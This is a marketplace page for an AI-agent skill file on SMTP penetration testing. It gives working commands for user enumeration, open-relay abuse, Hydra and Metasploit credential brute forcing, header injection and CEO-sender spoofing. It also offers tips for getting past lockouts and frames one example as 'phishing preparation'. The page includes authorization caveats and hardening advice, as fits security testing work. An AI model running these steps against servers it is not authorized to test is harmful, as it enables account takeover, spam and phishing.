Smithery Logo
MCPsSkillsDocsPricing
Login
Smithery Logo

Accelerating the Agent Economy

Resources

DocumentationPrivacy PolicySystem Status

Company

PricingAboutBlog

Connect

© 2026 Smithery. All rights reserved.

    davila7

    smtp-penetration-testing

    davila7/smtp-penetration-testing
    Security
    19,892
    4 installs

    About

    SKILL.md

    Install

    Install via Skills CLI

    or add to your agent
    • Claude Code
      Claude Code
    • Codex
      Codex
    • OpenClaw
      OpenClaw
    • Cursor
      Cursor
    • Amp
      Amp
    • GitHub Copilot
      GitHub Copilot
    • Gemini CLI
      Gemini CLI
    • Kilo Code
      Kilo Code
    • Junie
      Junie
    • Replit
      Replit
    • Windsurf
      Windsurf
    • Cline
      Cline
    • Continue
      Continue
    • OpenCode
      OpenCode
    • OpenHands
      OpenHands
    • Roo Code
      Roo Code
    • Augment
      Augment
    • Goose
      Goose
    • Trae
      Trae
    • Zencoder
      Zencoder
    • Antigravity
      Antigravity
    ├─
    ├─
    └─

    About

    This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or...

    SKILL.md

    SMTP Penetration Testing

    Purpose

    Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

    Prerequisites

    Required Tools

    # Nmap with SMTP scripts
    sudo apt-get install nmap
    
    # Netcat
    sudo apt-get install netcat
    
    # Hydra for brute force
    sudo apt-get install hydra
    
    # SMTP user enumeration tool
    sudo apt-get install smtp-user-enum
    
    # Metasploit Framework
    msfconsole
    

    Required Knowledge

    • SMTP protocol fundamentals
    • Email architecture (MTA, MDA, MUA)
    • DNS and MX records
    • Network protocols

    Required Access

    • Target SMTP server IP/hostname
    • Written authorization for testing
    • Wordlists for enumeration and brute force

    Outputs and Deliverables

    1. SMTP Security Assessment Report - Comprehensive vulnerability findings
    2. User Enumeration Results - Valid email addresses discovered
    3. Relay Test Results - Open relay status and exploitation potential
    4. Remediation Recommendations - Security hardening guidance

    Core Workflow

    Phase 1: SMTP Architecture Understanding

    Components: MTA (transfer) → MDA (delivery) → MUA (client)
    
    Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
    
    Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
    

    Phase 2: SMTP Service Discovery

    Identify SMTP servers and versions:

    # Discover SMTP ports
    nmap -p 25,465,587,2525 -sV TARGET_IP
    
    # Aggressive service detection
    nmap -sV -sC -p 25 TARGET_IP
    
    # SMTP-specific scripts
    nmap --script=smtp-* -p 25 TARGET_IP
    
    # Discover MX records for domain
    dig MX target.com
    nslookup -type=mx target.com
    host -t mx target.com
    

    Phase 3: Banner Grabbing

    Retrieve SMTP server information:

    # Using Telnet
    telnet TARGET_IP 25
    # Response: 220 mail.target.com ESMTP Postfix
    
    # Using Netcat
    nc TARGET_IP 25
    # Response: 220 mail.target.com ESMTP
    
    # Using Nmap
    nmap -sV -p 25 TARGET_IP
    # Version detection extracts banner info
    
    # Manual SMTP commands
    EHLO test
    # Response reveals supported extensions
    

    Parse banner information:

    Banner reveals:
    - Server software (Postfix, Sendmail, Exchange)
    - Version information
    - Hostname
    - Supported SMTP extensions (STARTTLS, AUTH, etc.)
    

    Phase 4: SMTP Command Enumeration

    Test available SMTP commands:

    # Connect and test commands
    nc TARGET_IP 25
    
    # Initial greeting
    EHLO attacker.com
    
    # Response shows capabilities:
    250-mail.target.com
    250-PIPELINING
    250-SIZE 10240000
    250-VRFY
    250-ETRN
    250-STARTTLS
    250-AUTH PLAIN LOGIN
    250-8BITMIME
    250 DSN
    

    Key commands to test:

    # VRFY - Verify user exists
    VRFY admin
    250 2.1.5 admin@target.com
    
    # EXPN - Expand mailing list
    EXPN staff
    250 2.1.5 user1@target.com
    250 2.1.5 user2@target.com
    
    # RCPT TO - Recipient verification
    MAIL FROM:<test@attacker.com>
    RCPT TO:<admin@target.com>
    # 250 OK = user exists
    # 550 = user doesn't exist
    

    Phase 5: User Enumeration

    Enumerate valid email addresses:

    # Using smtp-user-enum with VRFY
    smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
    
    # Using EXPN method
    smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
    
    # Using RCPT method
    smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
    
    # Specify port and domain
    smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
    

    Using Metasploit:

    use auxiliary/scanner/smtp/smtp_enum
    set RHOSTS TARGET_IP
    set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
    set UNIXONLY true
    run
    

    Using Nmap:

    # SMTP user enumeration script
    nmap --script smtp-enum-users -p 25 TARGET_IP
    
    # With custom user list
    nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
    

    Phase 6: Open Relay Testing

    Test for unauthorized email relay:

    # Using Nmap
    nmap -p 25 --script smtp-open-relay TARGET_IP
    
    # Manual testing via Telnet
    telnet TARGET_IP 25
    HELO attacker.com
    MAIL FROM:<test@attacker.com>
    RCPT TO:<victim@external-domain.com>
    DATA
    Subject: Relay Test
    This is a test.
    .
    QUIT
    
    # If accepted (250 OK), server is open relay
    

    Using Metasploit:

    use auxiliary/scanner/smtp/smtp_relay
    set RHOSTS TARGET_IP
    run
    

    Test variations:

    # Test different sender/recipient combinations
    MAIL FROM:<>
    MAIL FROM:<test@[attacker_IP]>
    MAIL FROM:<test@target.com>
    
    RCPT TO:<test@external.com>
    RCPT TO:<"test@external.com">
    RCPT TO:<test%external.com@target.com>
    

    Phase 7: Brute Force Authentication

    Test for weak SMTP credentials:

    # Using Hydra
    hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
    
    # With specific port and SSL
    hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
    
    # Multiple users
    hydra -L users.txt -P passwords.txt TARGET_IP smtp
    
    # Verbose output
    hydra -l admin -P passwords.txt smtp://TARGET_IP -V
    

    Using Medusa:

    medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
    

    Using Metasploit:

    use auxiliary/scanner/smtp/smtp_login
    set RHOSTS TARGET_IP
    set USER_FILE /path/to/users.txt
    set PASS_FILE /path/to/passwords.txt
    set VERBOSE true
    run
    

    Phase 8: SMTP Command Injection

    Test for command injection vulnerabilities:

    # Header injection test
    MAIL FROM:<attacker@test.com>
    RCPT TO:<victim@target.com>
    DATA
    Subject: Test
    Bcc: hidden@attacker.com
    X-Injected: malicious-header
    
    Injected content
    .
    

    Email spoofing test:

    # Spoofed sender (tests SPF/DKIM protection)
    MAIL FROM:<ceo@target.com>
    RCPT TO:<employee@target.com>
    DATA
    From: CEO <ceo@target.com>
    Subject: Urgent Request
    Please process this request immediately.
    .
    

    Phase 9: TLS/SSL Security Testing

    Test encryption configuration:

    # STARTTLS support check
    openssl s_client -connect TARGET_IP:25 -starttls smtp
    
    # Direct SSL (port 465)
    openssl s_client -connect TARGET_IP:465
    
    # Cipher enumeration
    nmap --script ssl-enum-ciphers -p 25 TARGET_IP
    

    Phase 10: SPF, DKIM, DMARC Analysis

    Check email authentication records:

    # SPF/DKIM/DMARC record lookups
    dig TXT target.com | grep spf            # SPF
    dig TXT selector._domainkey.target.com    # DKIM
    dig TXT _dmarc.target.com                 # DMARC
    
    # SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
    

    Quick Reference

    Essential SMTP Commands

    Command Purpose Example
    HELO Identify client HELO client.com
    EHLO Extended HELO EHLO client.com
    MAIL FROM Set sender MAIL FROM:<sender@test.com>
    RCPT TO Set recipient RCPT TO:<user@target.com>
    DATA Start message body DATA
    VRFY Verify user VRFY admin
    EXPN Expand alias EXPN staff
    QUIT End session QUIT

    SMTP Response Codes

    Code Meaning
    220 Service ready
    221 Closing connection
    250 OK / Requested action completed
    354 Start mail input
    421 Service not available
    450 Mailbox unavailable
    550 User unknown / Mailbox not found
    553 Mailbox name not allowed

    Enumeration Tool Commands

    Tool Command
    smtp-user-enum smtp-user-enum -M VRFY -U users.txt -t IP
    Nmap nmap --script smtp-enum-users -p 25 IP
    Metasploit use auxiliary/scanner/smtp/smtp_enum
    Netcat nc IP 25 then manual commands

    Common Vulnerabilities

    Vulnerability Risk Test Method
    Open Relay High Relay test with external recipient
    User Enumeration Medium VRFY/EXPN/RCPT commands
    Banner Disclosure Low Banner grabbing
    Weak Auth High Brute force attack
    No TLS Medium STARTTLS test
    Missing SPF/DKIM Medium DNS record lookup

    Constraints and Limitations

    Legal Requirements

    • Only test SMTP servers you own or have authorization to test
    • Sending spam or malicious emails is illegal
    • Document all testing activities
    • Do not abuse discovered open relays

    Technical Limitations

    • VRFY/EXPN often disabled on modern servers
    • Rate limiting may slow enumeration
    • Some servers respond identically for valid/invalid users
    • Greylisting may delay enumeration responses

    Ethical Boundaries

    • Never send actual spam through discovered relays
    • Do not harvest email addresses for malicious use
    • Report open relays to server administrators
    • Use findings only for authorized security improvement

    Examples

    Example 1: Complete SMTP Assessment

    Scenario: Full security assessment of mail server

    # Step 1: Service discovery
    nmap -sV -sC -p 25,465,587 mail.target.com
    
    # Step 2: Banner grab
    nc mail.target.com 25
    EHLO test.com
    QUIT
    
    # Step 3: User enumeration
    smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
    
    # Step 4: Open relay test
    nmap -p 25 --script smtp-open-relay mail.target.com
    
    # Step 5: Authentication test
    hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
    
    # Step 6: TLS check
    openssl s_client -connect mail.target.com:25 -starttls smtp
    
    # Step 7: Check email authentication
    dig TXT target.com | grep spf
    dig TXT _dmarc.target.com
    

    Example 2: User Enumeration Attack

    Scenario: Enumerate valid users for phishing preparation

    # Method 1: VRFY
    smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
    
    # Method 2: RCPT with timing analysis
    smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
    
    # Method 3: Metasploit
    msfconsole
    use auxiliary/scanner/smtp/smtp_enum
    set RHOSTS 192.168.1.100
    set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
    run
    
    # Results show valid users
    [+] 192.168.1.100:25 - Found user: admin
    [+] 192.168.1.100:25 - Found user: root
    [+] 192.168.1.100:25 - Found user: postmaster
    

    Example 3: Open Relay Exploitation

    Scenario: Test and document open relay vulnerability

    # Test via Telnet
    telnet mail.target.com 25
    HELO attacker.com
    MAIL FROM:<test@attacker.com>
    RCPT TO:<test@gmail.com>
    # If 250 OK - VULNERABLE
    
    # Document with Nmap
    nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
    
    # Output:
    # PORT   STATE SERVICE
    # 25/tcp open  smtp
    # |_smtp-open-relay: Server is an open relay (14/16 tests)
    

    Troubleshooting

    Issue Cause Solution
    Connection Refused Port blocked or closed Check port with nmap; ISP may block port 25; try 587/465; use VPN
    VRFY/EXPN Disabled Server hardened Use RCPT TO method; analyze response time/code variations
    Brute Force Blocked Rate limiting/lockout Slow down (hydra -W 5); use password spraying; check for fail2ban
    SSL/TLS Errors Wrong port or protocol Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response

    Security Recommendations

    For Administrators

    1. Disable Open Relay - Require authentication for external delivery
    2. Disable VRFY/EXPN - Prevent user enumeration
    3. Enforce TLS - Require STARTTLS for all connections
    4. Implement SPF/DKIM/DMARC - Prevent email spoofing
    5. Rate Limiting - Prevent brute force attacks
    6. Account Lockout - Lock accounts after failed attempts
    7. Banner Hardening - Minimize server information disclosure
    8. Log Monitoring - Alert on suspicious activity
    9. Patch Management - Keep SMTP software updated
    10. Access Controls - Restrict SMTP to authorized IPs
    Recommended Servers
    MailerLite
    MailerLite
    Klaviyo
    Klaviyo
    Browser tool
    Browser tool
    Repository
    davila7/claude-code-templates
    Files